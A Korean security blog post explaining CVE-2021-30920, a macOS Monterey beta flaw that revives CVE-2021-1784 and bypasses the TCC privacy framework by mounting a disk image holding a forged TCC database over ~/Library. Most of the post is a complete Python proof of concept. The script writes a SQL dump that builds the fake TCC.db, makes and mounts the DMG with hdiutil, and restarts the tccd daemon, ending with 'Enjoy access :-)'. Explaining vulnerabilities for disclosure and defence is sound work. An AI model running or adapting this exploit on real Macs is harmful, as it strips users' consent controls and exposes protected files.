[하루한줄] CVE-2021-30920 - CVE-2021-1784 strikes back - TCC bypass via mounting
URL
CVE-2021-30920 - CVE-2021-1784 strikes back - TCC bypass via mounting
Target
macOS Monterey beta
Explain
Transparency, Consent, and Control (TCC) 프레임워크는 설치된 응용 프로그램이 사용자의 허가 없이 민감한 사용자 데이터에 접근하는 것을 거부하는 Apple의 subsystem입니다.
CVE-2021-1784 취약점은 악성 프로그램이 ~/Library
디렉터리에 새로운 TCC database를 생성하는 것으로 user level TCC를 우회하고 디스크에 대한 접근 권한을 얻는 취약점입니다. 해당 취약점은 macOS Big Sur에서 패치되었지만 macOS Monterey beta 버전에서 다시 발견 되어 CVE-2021-30920라는 번호가 발급되었습니다.
User level TCC는 Finder.app에 스크립트 작성 및 실행을 허용합니다. Finder.app은 디스크에 대한 full access 권한을 갖고 있기 때문에 악성 프로그램이 다음과 같은 방법으로 full disk access를 획득 할 수 있습니다.
새로운 TCC.db 생성 (
/tmp/TCC.db
)새로운 DMG 파일 생성 (
/tmp/tmp.dmg
)~/Library
에 DMG 파일 마운트hdiutil attach -owners off -mountpoint Library tmp.dmg
tccd
데몬 재시작
해당 취약점은 누구나 ~/Library
디렉터리에 DMG 파일을 마운트할 수 있기 때문에 발생합니다.
import os
tcc_dump = """
PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE admin (key TEXT PRIMARY KEY NOT NULL, value INTEGER NOT NULL);
INSERT INTO admin VALUES('version',20);
CREATE TABLE policies ( id INTEGER NOT NULL PRIMARY KEY, bundle_id TEXT NOT NULL, uuid TEXT NOT NULL, display TEXT NOT NULL, UNIQUE (bundle_id, uuid));
CREATE TABLE active_policy ( client TEXT NOT NULL, client_type INTEGER NOT NULL, policy_id INTEGER NOT NULL, PRIMARY KEY (client, client_type), FOREIGN KEY (policy_id) REFERENCES policies(id) ON DELETE CASCADE ON UPDATE CASCADE);
CREATE TABLE access ( service TEXT NOT NULL, client TEXT NOT NULL, client_type INTEGER NOT NULL, auth_value INTEGER NOT NULL, auth_reason INTEGER NOT NULL, auth_version INTEGER NOT NULL, csreq BLOB, policy_id INTEGER, indirect_object_identifier_type INTEGER, indirect_object_identifier TEXT NOT NULL DEFAULT 'UNUSED', indirect_object_code_identity BLOB, flags INTEGER, last_modified INTEGER NOT NULL DEFAULT (CAST(strftime('%s','now') AS INTEGER)), PRIMARY KEY (service, client, client_type, indirect_object_identifier), FOREIGN KEY (policy_id) REFERENCES policies(id) ON DELETE CASCADE ON UPDATE CASCADE);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.willowd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184393);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.shortcuts',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184393);
INSERT INTO access VALUES('kTCCServiceUbiquity','com.apple.shortcuts',0,2,5,1,NULL,NULL,NULL,'UNUSED',NULL,0,1623184394);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.remindd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184395);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.textinput.KeyboardServices',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184395);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.appleaccountd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184395);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.Safari',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184396);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.syncdefaultsd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184396);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.suggestd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184396);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.siriknowledged',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184396);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.securityd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184396);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.protectedcloudstorage.protectedcloudkeysyncing',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184396);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.knowledge-agent',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184396);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.imagent',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184397);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.identityservicesd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184397);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.icloud.fmfd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184397);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.donotdisturbd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184397);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.cloudpaird',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184397);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.assistant.assistantd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184397);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.StatusKitAgent',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184397);
INSERT INTO access VALUES('kTCCServiceUbiquity','/System/Library/PrivateFrameworks/PhotoLibraryServices.framework/Versions/A/Support/photolibraryd',1,2,5,1,NULL,NULL,NULL,'UNUSED',NULL,0,1623184413);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.amsengagementd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184458);
INSERT INTO access VALUES('kTCCServiceSystemPolicyDownloadsFolder','com.apple.Terminal',0,2,2,1,X'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003',NULL,NULL,'UNUSED',NULL,0,1623239871);
INSERT INTO access VALUES('kTCCServiceSystemPolicyDocumentsFolder','com.apple.Terminal',0,2,2,1,X'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003',NULL,NULL,'UNUSED',NULL,0,1623239880);
INSERT INTO access VALUES('kTCCServiceSystemPolicyDesktopFolder','com.apple.Terminal',0,2,2,1,X'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003',NULL,NULL,'UNUSED',NULL,0,1623239885);
CREATE TABLE access_overrides ( service TEXT NOT NULL PRIMARY KEY);
CREATE TABLE expired ( service TEXT NOT NULL, client TEXT NOT NULL, client_type INTEGER NOT NULL, csreq BLOB, last_modified INTEGER NOT NULL , expired_at INTEGER NOT NULL DEFAULT (CAST(strftime('%s','now') AS INTEGER)), PRIMARY KEY (service, client, client_type));
CREATE INDEX active_policy_id ON active_policy(policy_id);
COMMIT;
"""
def create_tcc_db():
f = open('/tmp/tccdump.sql','w')
f.write(tcc_dump)
f.close()
os.system("sqlite3 /tmp/TCC.db < /tmp/tccdump.sql")
def create_dmg():
os.system("hdiutil create /tmp/tmp.dmg -size 2m -ov -volname \\"tccbypass\\" -fs APFS 1>/dev/null")
os.system("mkdir /tmp/mnt")
os.system("hdiutil attach -owners off -mountpoint /tmp/mnt /tmp/tmp.dmg 1>/dev/null")
os.system("mkdir -p /tmp/mnt/Application\\ Support/com.apple.TCC/")
os.system("cp /tmp/TCC.db /tmp/mnt/Application\\ Support/com.apple.TCC/TCC.db")
os.system("hdiutil detach /tmp/mnt 1>/dev/null")
def mount_trick():
os.system("hdiutil attach -readonly -owners off -mountpoint ~/Library /tmp/tmp.dmg 1>/dev/null")
def restart_tcc():
os.system("launchctl stop com.apple.tccd && launchctl start com.apple.tccd")
def main():
print("[i] Creating new TCC database")
create_tcc_db()
print("[i] Creating and prepare DMG file")
create_dmg()
print("[i] Mount DMG over Library")
mount_trick()
print("[i] Restart TCC")
restart_tcc()
print("[i] Enjoy access :-)")
main()
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.